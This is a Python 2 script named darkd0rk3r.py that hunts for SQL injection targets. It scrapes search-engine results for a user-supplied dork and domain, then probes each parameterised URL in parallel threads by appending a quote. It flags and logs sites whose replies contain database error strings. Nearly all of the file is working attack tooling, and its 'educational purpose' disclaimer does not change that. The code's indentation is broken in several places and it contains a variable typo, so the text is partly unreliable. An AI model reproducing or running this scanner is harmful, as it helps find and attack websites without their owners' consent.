#!/usr/bin/python
# This was written for educational purpose and pentest only. Use it at your own risk.
# Author will be not responsible for any damage!
# !!! Special greetz for my friend sinner_01 !!!
# Toolname        : darkd0rk3r.py
# Coder           : baltazar a.k.a b4ltazar < b4ltazar@gmail.com>
# Version         : 0.1
# Greetz for rsauron and low1z, great python coders
# greetz for d3hydr8, r45c4l, qk, fx0, Soul, MikiSoft and all members of ex darkc0de.com, ljuska.org 
# 


import string, sys, time, urllib2, cookielib, re, random, threading, socket, os, subprocess
from random import choice

# Colours
W  = "\033[0m";  
R  = "\033[31m"; 
G  = "\033[32m"; 
O  = "\033[33m"; 
B  = "\033[34m";


# Banner
def logo():
  print R+"\n|---------------------------------------------------------------|"
        print "| b4ltazar[@]gmail[dot]com                                      |"
        print "|   01/2012     darkd0rk3r.py  v.0.1                            |"
        print "|                                                               |"
        print "|---------------------------------------------------------------|\n"
  print W

if sys.platform == 'linux' or sys.platform == 'linux2':
  subprocess.call("clear", shell=True)
  logo()
  
else:
  subprocess.call("cls", shell=True)
  logo()
  
log = "darkd0rk3r.txt"
logfile = open(log, "a")
threads = []
numthreads = 10
timeout = 10
socket.setdefaulttimeout(timeout)


           
         
sqlerrors = {'MySQL': 'error in your SQL syntax',
             'MiscError': 'mysql_fetch',
             'MiscError2': 'num_rows',
             'Oracle': 'ORA-01756',
             'JDBC_CFM': 'Error Executing Database Query',
             'JDBC_CFM2': 'SQLServer JDBC Driver',
             'MSSQL_OLEdb': 'Microsoft OLE DB Provider for SQL Server',
             'MSSQL_Uqm': 'Unclosed quotation mark',
             'MS-Access_ODBC': 'ODBC Microsoft Access Driver',
             'MS-Access_JETdb': 'Microsoft JET Database',
             'Error' : 'Error Occurred While Processing Request',
             'Error' : 'Server Error',
             'Error' : 'Microsoft OLE DB Provider for ODBC Drivers error',
             'Error' : 'Invalid Querystring',
             'Error' : 'OLE DB Provider for ODBC',
             'Error' : 'VBScript Runtime',
             'Error' : 'ADODB.Field',
             'Error' : 'BOF or EOF',
             'Error' : 'ADODB.Command',
             'Error' : 'JET Database',
             'Error' : 'mysql_fetch_array()',
             'Error' : 'Syntax error',
             'Error' : 'include()',
             'Error' : 'mysql_numrows()',
             'Error' : 'GetArray()',
             'Error' : 'FetchRow()',
             'Error' : 'Input string was not in a correct format'}
             

header = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
          'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
          'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
    'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
    'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
    'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
    'Microsoft Internet Explorer/4.0b1 (Windows 95)',
    'Opera/8.00 (Windows NT 5.1; U; en)',
    'amaya/9.51 libwww/5.4.0',
    'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
    'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
    'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
    'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
    'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
    'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]']
    
  
inurl = raw_input('Enter your dork: ')
site = raw_input('Enter domain: ')
maxc = 30

def search(inurl, maxc):
  urls = []
  counter = 0
  while counter < int(maxc):
    jar = cookielib.FileCookieJar("cookies")
    query = inurl+'+site:'+site
    results_web = 'https://www.search-results.com/web?q='+query+'&hl=en&page='+repr(counter)+'&src=hmp'
    request_web = urllib2.Request(results_web)
    agent = random.choice(header)
    request_web.add_header('User-Agent', agent)
    opener_web = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
    text = opener_web.open(request_web).read()
    stringreg = re.compile('(?<=href=")(.*?)(?=")')
    names = stringreg.findall(text)
    counter += 1
    for name in names:
      if name not in urls:
  if re.search(r'\(',name) or re.search("<", name) or re.search("\A/", name) or re.search("\A(https://)\d", name):
    pass
  elif re.search("google",name) or re.search("youtube", name) or re.search("%", name):
    pass
  else:
    urls.append(name)
    
  tmplist = []
  finallist = []
  print "[+] URLS (unsorted): ",len(urls)
  for url in urls:
    try:
      host = url.split("/",3)
      domain = host[2]
      if domain not in tmplist and "=" in url:
  finallist.append(url)
  tmplist.append(domain)
    except:
      pass
  print "[+] URLS (sorted): ",len(finallist)
  return finallist
  
  
class injThread(threading.Thread):
        def __init__(self,hosts):
                self.hosts=hosts;self.fcount = 0
                self.check = True
                threading.Thread.__init__(self)

        def run (self):
                urls = list(self.hosts)
                for url in urls:
                        try:
                                if self.check == True:
                                        ClassicINJ(url)
                                else:
                                        break
                        except(KeyboardInterrupt,ValueError):
                                pass
                self.fcount+=1

        def stop(self):
                self.check = False
                
                
def ClassicINJ(url):
        EXT = "'"
        host = url+EXT
        try:
                source = urllib2.urlopen(host).read()
                for type,eMSG in sqlerrors.items():
                        if re.search(eMSG, source):
                                print R+"\nw00t!,w00t!:", O+host, B+"Error:", type
        logfile.write("\n"+host)
        
                        else:
                                pass
        except:
                pass


usearch = search(inurl,maxc)

menu = True
while menu == True:
  print R+"\n[1] Injection Testing"
  print "[0] Exit\n"
  chce = raw_input(":")
  if chce == '1':
    print "\n[+] Preparing for SQLi scanning ..."
    print "[+] Can take a while ..."
    print "[!] Working ...\n"
    i = len(usearch) / int(numthreads)
    m = len(usearch) % int(numthreads)
    z = 0
    if len(threads) <= numthreads:
      for x in range(0, int(numthreads)):
  sliced = usearch[x*i:(x+1)*i]
  if (z < m):
    sliced.append(usearch[int(numthreads)*i+z])
    z += 1
  thread = injThread(sliced)
  thread.start()
  threads.append(thread)
    for thread in threads:
      thread.join()
    
    
    
    
    
  if chce == '0':
    print R+"\n[-] Exiting ..."
    mnu = False
    sys.exit(1)